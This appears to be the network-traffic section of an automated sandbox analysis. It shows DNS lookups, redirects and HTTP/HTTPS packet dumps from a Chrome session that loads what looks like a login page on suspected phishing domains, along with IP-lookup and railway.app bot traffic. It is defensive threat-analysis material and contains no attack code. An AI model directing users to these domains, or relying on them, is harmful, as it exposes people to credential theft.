Mar 13, 2025 18:13:08.289479971 CET	1.1.1.1	192.168.2.4	0x9ea2	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:08.289479971 CET	1.1.1.1	192.168.2.4	0x9ea2	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:08.381819010 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:08.381819010 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:12.014935017 CET	1.1.1.1	192.168.2.4	0xdde2	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:12.014935017 CET	1.1.1.1	192.168.2.4	0xdde2	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:12.062060118 CET	1.1.1.1	192.168.2.4	0x7734	No error (0)	rail-bot-production.up.railway.app	trestle.proxy.rlwy.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:12.062060118 CET	1.1.1.1	192.168.2.4	0x7734	No error (0)	trestle.proxy.rlwy.net		35.214.184.4	A (IP address)	IN (0x0001)	false
Mar 13, 2025 18:13:12.065310955 CET	1.1.1.1	192.168.2.4	0xcb20	No error (0)	rail-bot-production.up.railway.app	trestle.proxy.rlwy.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:12.385268927 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons.gcp.gvt2.com	beacons-handoff.gcp.gvt2.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 13, 2025 18:13:12.385268927 CET	1.1.1.1	192.168.2.4	0xc4c6	No error (0)	beacons-handoff.gcp.gvt2.com		142.250.180.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

a.nel.cloudflare.com

oka.greenthreads.hr

www.gravatar.com

c.pki.goog

patnero.thesilent.de

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49729	142.250.185.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 18:11:55.032785892 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 13, 2025 18:11:55.646433115 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 13 Mar 2025 16:52:23 GMT Expires: Thu, 13 Mar 2025 17:42:23 GMT Age: 1172 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 13, 2025 18:11:55.653630018 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 13, 2025 18:11:55.834391117 CET	223	IN	HTTP/1.1 304 Not Modified Date: Thu, 13 Mar 2025 16:52:26 GMT Expires: Thu, 13 Mar 2025 17:42:26 GMT Age: 1169 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	216.24.57.1	80	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2025 18:12:09.171255112 CET	539	OUT	GET /api/redirect?expires=1741885935798&hash=ec1f1b83066847aec38c6ffc424905a2499759e2874e8a3078fcbbeb9029c29b HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 13, 2025 18:12:09.363719940 CET	579	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 13 Mar 2025 17:12:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 172 Connection: keep-alive Location: https://patnero.thesilent.de/api/redirect?expires=1741885935798&hash=ec1f1b83066847aec38c6ffc424905a2499759e2874e8a3078fcbbeb9029c29b cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 91fd2791a93f93b7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 31 38 38 35 39 33 35 37 39 38 26 61 6d 70 3b 68 61 73 68 3d 65 63 31 66 31 62 38 33 30 36 36 38 34 37 61 65 63 33 38 63 36 66 66 63 34 32 34 39 30 35 61 32 34 39 39 37 35 39 65 32 38 37 34 65 38 61 33 30 37 38 66 63 62 62 65 62 39 30 32 39 63 32 39 62 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://patnero.thesilent.de/api/redirect?expires=1741885935798&hash=ec1f1b83066847aec38c6ffc424905a2499759e2874e8a3078fcbbeb9029c29b">Moved Permanently</a>.
Mar 13, 2025 18:12:19.764662027 CET	539	OUT	GET /api/redirect?expires=1741885946065&hash=8c075858579e1c7ec2659346eaf2a5eb53db40d4e764bde4984a3f0d4f930d79 HTTP/1.1 Host: patnero.thesilent.de Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Mar 13, 2025 18:12:20.026715994 CET	579	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 13 Mar 2025 17:12:19 GMT Content-Type: text/html; charset=utf-8 Content-Length: 172 Connection: keep-alive Location: https://patnero.thesilent.de/api/redirect?expires=1741885946065&hash=8c075858579e1c7ec2659346eaf2a5eb53db40d4e764bde4984a3f0d4f930d79 cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 91fd27d3dcd093b7-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 74 6e 65 72 6f 2e 74 68 65 73 69 6c 65 6e 74 2e 64 65 2f 61 70 69 2f 72 65 64 69 72 65 63 74 3f 65 78 70 69 72 65 73 3d 31 37 34 31 38 38 35 39 34 36 30 36 35 26 61 6d 70 3b 68 61 73 68 3d 38 63 30 37 35 38 35 38 35 37 39 65 31 63 37 65 63 32 36 35 39 33 34 36 65 61 66 32 61 35 65 62 35 33 64 62 34 30 64 34 65 37 36 34 62 64 65 34 39 38 34 61 33 66 30 64 34 66 39 33 30 64 37 39 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://patnero.thesilent.de/api/redirect?expires=1741885946065&hash=8c075858579e1c7ec2659346eaf2a5eb53db40d4e764bde4984a3f0d4f930d79">Moved Permanently</a>.
Mar 13, 2025 18:13:05.041616917 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49721	172.217.18.4	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:00 UTC	587	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJWhywEInP7MAQiFoM0BCO+pzgEIvtXOAQiA1s4BCMjczgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:00 UTC	1303	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 17:12:00 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-iT_XedElhUfmfFh_s66xAg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-13 17:12:00 UTC	75	IN	Data Raw: 33 37 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 72 6f 73 73 66 69 74 20 6f 70 65 6e 20 32 35 2e 33 20 6c 65 61 6b 22 2c 22 61 69 72 20 69 6e 64 69 61 20 66 6c 69 67 68 74 20 63 6c 6f 67 67 65 64 20 74 6f 69 6c 65 74 73 22 Data Ascii: 372)]}'["",["crossfit open 25.3 leak","air india flight clogged toilets"
2025-03-13 17:12:00 UTC	814	IN	Data Raw: 2c 22 62 6c 6f 6f 64 20 6d 6f 6f 6e 20 74 6f 74 61 6c 20 6c 75 6e 61 72 20 65 63 6c 69 70 73 65 20 74 6f 6e 69 67 68 74 22 2c 22 63 77 20 6e 61 73 63 61 72 20 62 72 6f 61 64 63 61 73 74 20 69 73 73 75 65 73 22 2c 22 70 61 6c 77 6f 72 6c 64 20 63 72 6f 73 73 70 6c 61 79 20 75 70 64 61 74 65 22 2c 22 77 65 61 74 68 65 72 20 73 74 6f 72 6d 73 20 61 6e 64 20 74 6f 72 6e 61 64 6f 65 73 22 2c 22 73 74 6f 72 65 73 20 63 6c 6f 73 69 6e 67 22 2c 22 74 68 65 20 72 6f 6f 6b 69 65 20 6e 61 74 68 61 6e 20 66 69 6c 6c 69 6f 6e 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f Data Ascii: ,"blood moon total lunar eclipse tonight","cw nascar broadcast issues","palworld crossplay update","weather storms and tornadoes","stores closing","the rookie nathan fillion"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"go
2025-03-13 17:12:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	35.190.80.1	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:00 UTC	549	OUT	OPTIONS /report/v4?s=mUng%2Bs0VnheZmCywQUh%2FmeEb%2BuuCbEozpjLwZBQrrynB%2Bkjz1giYTKLYGb1%2F2mkewjoUNlUrwglQIDREypTXwExqW%2BDKgo8v9uAzFRfesv2K1%2B4dTzUtTy2sfwV7GekMkrIo HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nettl.ntfs2.shop Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:01 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Thu, 13 Mar 2025 17:12:00 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	35.190.80.1	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:02 UTC	524	OUT	POST /report/v4?s=mUng%2Bs0VnheZmCywQUh%2FmeEb%2BuuCbEozpjLwZBQrrynB%2Bkjz1giYTKLYGb1%2F2mkewjoUNlUrwglQIDREypTXwExqW%2BDKgo8v9uAzFRfesv2K1%2B4dTzUtTy2sfwV7GekMkrIo HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 416 Content-Type: application/reports+json Origin: https://nettl.ntfs2.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:02 UTC	416	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 38 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 32 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 74 74 6c 2e 6e 74 66 73 32 2e 73 68 6f 70 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 39 30 2e 34 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 Data Ascii: [{"age":0,"body":{"elapsed_time":681,"method":"GET","phase":"application","protocol":"h2","referrer":"https://nettl.ntfs2.shop/","sampling_fraction":1.0,"server_ip":"172.67.190.49","status_code":404,"type":"http.error"},"type":"network-error","url":"https
2025-03-13 17:12:03 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Thu, 13 Mar 2025 17:12:02 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:16 UTC	655	OUT	GET / HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:19 UTC	675	OUT	GET / HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:22 UTC	675	OUT	GET / HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:23 UTC	521	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 6 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline Content-Length: 2575 Content-Type: text/html; charset=utf-8 Date: Thu, 13 Mar 2025 17:12:23 GMT Etag: "1b3919fb792a62110c03224ad57f8516" Last-Modified: Thu, 13 Mar 2025 17:12:17 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: / X-Vercel-Cache: HIT X-Vercel-Id: cle1::j62hk-1741885942999-988ba287f571 Connection: close
2025-03-13 17:12:23 UTC	2372	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 74 79 6c 65 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 77 65 62 70 61 63 6b 2d 65 65 37 65 36 33 62 63 31 35 62 33 31 39 31 33 2e 6a 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 73 63 72 69 70 74 22 20 68 72 65 66 3d 22 Data Ascii: <!DOCTYPE html><html><head><meta charSet="utf-8"/><link rel="preload" as="style" href="/_next/static/css/19d09a6113afa007.css"/><link rel="preload" as="script" href="/_next/static/chunks/webpack-ee7e63bc15b31913.js"/><link rel="preload" as="script" href="
2025-03-13 17:12:23 UTC	203	IN	Data Raw: 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 70 72 6f 70 73 22 3a 7b 22 70 61 67 65 50 72 6f 70 73 22 3a 7b 7d 7d 2c 22 70 61 67 65 22 3a 22 2f 22 2c 22 71 75 65 72 79 22 3a 7b 7d 2c 22 62 75 69 6c 64 49 64 22 3a 22 43 43 56 6f 39 42 65 41 4e 70 4f 36 57 54 41 58 4a 41 58 69 71 22 2c 22 6e 65 78 74 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 61 75 74 6f 45 78 70 6f 72 74 22 3a 74 72 75 65 2c 22 69 73 46 61 6c 6c 62 61 63 6b 22 3a 66 61 6c 73 65 2c 22 73 63 72 69 70 74 4c 6f 61 64 65 72 22 3a 5b 5d 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: type="application/json">{"props":{"pageProps":{}},"page":"/","query":{},"buildId":"CCVo9BeANpO6WTAXJAXiq","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49753	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:25 UTC	581	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:26 UTC	589	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 0 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Thu, 13 Mar 2025 17:12:25 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Thu, 13 Mar 2025 17:12:25 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: cle1::dzcfw-1741885945823-0106b028370e Connection: close
2025-03-13 17:12:26 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49752	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:26 UTC	577	OUT	GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:26 UTC	623	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 8094 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="webpack-ee7e63bc15b31913.js" Content-Length: 1999 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 17:12:26 GMT Etag: "d46325742471efd77bf4525d99d56e1a" Last-Modified: Thu, 13 Mar 2025 14:57:31 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/webpack-ee7e63bc15b31913.js X-Vercel-Cache: HIT X-Vercel-Id: cle1::7v62r-1741885946391-81622d2b07a1 Connection: close
2025-03-13 17:12:26 UTC	1999	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 6e 2c 72 2c 74 2c 6f 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 76 61 72 20 6e 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 29 72 65 74 75 72 6e 20 6e 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 2c 74 3d 21 30 3b 74 72 79 7b 6f 5b 65 5d 28 72 2c 72 2e 65 78 70 6f 72 74 73 2c 69 29 2c 74 3d 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 26 26 64 65 6c 65 74 65 20 75 5b 65 5d 7d 72 65 74 75 72 6e 20 72 2e 65 78 70 6f 72 74 73 7d 69 2e 6d 3d 6f 2c 65 3d 5b 5d 2c 69 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 2c 6f 29 7b 69 66 28 72 29 7b 6f 3d 6f 7c 7c 30 3b 66 6f 72 28 76 61 72 20 Data Ascii: !function(){"use strict";var e,n,r,t,o={},u={};function i(e){var n=u[e];if(void 0!==n)return n.exports;var r=u[e]={exports:{}},t=!0;try{o[e](r,r.exports,i),t=!1}finally{t&&delete u[e]}return r.exports}i.m=o,e=[],i.O=function(n,r,t,o){if(r){o=o\|\|0;for(var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
